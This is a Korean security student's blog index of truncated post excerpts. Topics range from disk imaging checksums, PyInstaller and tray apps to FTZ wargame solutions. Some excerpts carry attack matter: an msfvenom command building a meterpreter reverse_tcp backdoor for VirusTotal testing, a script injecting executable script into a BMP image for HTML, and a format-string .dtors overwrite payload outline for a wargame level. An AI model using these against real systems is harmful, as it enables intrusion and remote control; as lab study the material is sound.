분류 전체보기

서론 이번에 FING 개인 프로젝트로, 디스크 이미징 툴을 만들게 됐는데 E01 이미징을 떠보려니 CRC중에서도 ADLER32라는 CRC로 계산을 하길래간단하게 파이썬 기본 모듈들로 코딩을 해봤다.파이썬 2.7에서는 ADLER32 CRC를 계산이 되면 범위가 음수~양수라서 그 부분을 처리해서 해보니 결과적으로 잘 나왔다. 진행과정 1. 파이썬 코드123456789import zlib, binascii, os fileName = "HeaderSector"f= open(fileName, "rb")buf = f.read(os.stat(fileName)[6]) data = hex((zlib.adler32(buf) & 0xffffffffL))if len(data) != 8 : data = '0x0'+data[2:..

서론 오늘은 한번 Virustotal API를 이용한 간단한 프로그램을 작성해보았다. 진행과정 1. 제출할 백도어 생성1msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > Backdoor.execs 2. 소스코드123456import requestsparams = {'apikey': 'myAPI'}files = {'file': ('Backdoor.exe', open('Backdoor.exe', 'rb'))}response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', files=files, params=params)json_response = r..

서론 이런게 된다고는 생각해본 적 없던, bmp 파일에 코드 인젝션을 해서 html에서 실행을 해보았다. 진행과정 0. 아이디어- 웹 브라우져는 Signature만 확인되면 데이터가 손상되어 있어도 상관없이 잘 실행이 된다.- 즉, 42 4D 뒤에 /* */ 주석을 처음부터 끝까지 처리한 뒤, 자연스럽게 bof의 썰매 기법처럼 스크립트를 실행할 수 있게 되는 것이다. 1. 소스코드 * 파이썬 코드1234567891011121314151617181920#-*- coding: utf-8 -*-fname = "attack.bmp" pfile = open(fname, "r+b")buff = pfile.read() # 주석을 닫는 행위를 모두 치환.buff.replace(b'\x2A\x2F', b'\x00\x00..

서론 이번에 Tray Program을 다 만들고, exe 화 시키는데, py2exe는 64비트에서는 bundle_files옵션을 제대로 줄 수 없는 문제가 발발했고 그에 대한 해결책을 찾아보다가 PyInstaller라는 툴을 알게 되었다. 진행과정 1. 설치1pip install pyinstallercs 2. 옵션 -F : 하나의 파일로 만든다. -w : WINDOW파일인 경우 콘솔을 띄우면 안되므로 이 옵션 채택 -i : icon 파일 추가하는 경우1c:\Python\Scripts\pyinstaller.exe -F -w --icon="ICON.ico" Agent.pycs설치한 경로는 dir /s /b로 확인을 해보니 pip이 존재하는 경로에 있었다. 완성이 되면 dist 폴더에 결과파일이 떨어진다. #..

서론 이번 프로젝트를 진행하면서 첫 번째 기능으로 선택한 것은 Tray Program이다. 그래서 간단하게 한번 해봤다. 진행과정 1. wxPython 설치1pip install -U wxPythoncs 2. 소스코드 12345678910111213141516171819202122232425262728293031323334353637383940# _*_ coding: utf-8 _*_import wx, wx.adv, sysclass TaskBarIcon(wx.adv.TaskBarIcon): ID_MENU = wx.NewId() ID_EXIT = wx.NewId() def __init__(self, frame): wx.adv.TaskBarIcon.__init__(self) self.frame = frame..

서론 노트북을 포맷했는데, 전원 관리 옵션에서 "고성능" 옵션이 노출되지 않아 해결해봤다. 진행과정 cmd를 관리자 모드로 키시고, 아래의 명령어 수행1powercfg -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61cs 번외로 라이젠 최신 칩셋 업데이트 이후에 전원관리가 러시아어로 뜨는 경우가 있는데, C:\Program Files (x86)\AMD\RyzenPPM에 들어가서 AMDPPMSettings를 실행시키면 영문으로 바뀐다.

서론 종강 이후 포맷을 진행하는 과정에서, 매번 소프트웨어 재설치가 번거로워 이미지를 떠두는게 좋을 것 같아 진행해봤습니다. 소요되는 시간이 꽤 많길래, 두 번 시도할 엄두는 안나네요 :( 진행과정 1. 윈도우 10 iso 다운로드 → https://www.microsoft.com/ko-kr/software-download/windows10 2. VMWare로 이미지 설치 - 좀 특이한 점은, 설치 중간에 용량 설정하는 Specify Disk Capacity 항목에서, "Store virtual disk as a single file"을 선택해주어야 합니다. 자세한건 하단의 Ref 링크 1번 사이트를 참조해주시길 바랍니다. VMWare 셋팅 설명이 아주 잘 되어 있습니다. 3. 감사모드 진입 설치 중, ..

서론 - 3월 29일 20:00 ~ 23:00까지 FTZ LEVEL1 ~ 20까지 모두 풀어보았는데, 게시글 올리기엔 너무 피곤해서 하루 뒤에 쓴다 - 거의 기본적이지만, 공유메모리를 쓰는 경우와 이번 문제는 꽤 난이도가 있었음. 힌트 - 79바이트 밖에 fgets에서 읽지 못한다. - 포맷스트링버그를 이용을 해야한다. - 하루 지났는데 중간에 사진 찍어둔 게 없어서, 자세한 풀이는 생략한다. 진행과정 - 코드를 대략적으로 달아두었는데, dtors 값을 구해서 연산해야한다 - 페이로드 : 4바이트+dtors앞 주소+4바이트+dtor 뒷 주소(앞주소+2)+%8x * 3+ %환경변수 뒷주소(0xbffffed2기준 fed2) - 40[앞에 쓴 스트링 량]c + %n + %(1bfff - fed2)c + "%n..

힌트 진행과정 - 환경변수의 주소를 받게 끔 하면 된다. # REF NULL

힌트 진행과정 - 힌트의 코드에서 count가 --되는 경우는 0x08이 들어온 경우이다. 그 경우를 최대한 만들어서 deadbeef를 대입해보았다. # REF NULL

힌트 진행과정 - 전 문제와 유사하지만, shell함수가 없기 때문에 우리가 만든 환경변수로 이끌어주자. # REF NULL

힌트 진행과정 - call 함수포인터의 주소에 shell의 시작주소를 넣어주면 된다. # REF NULL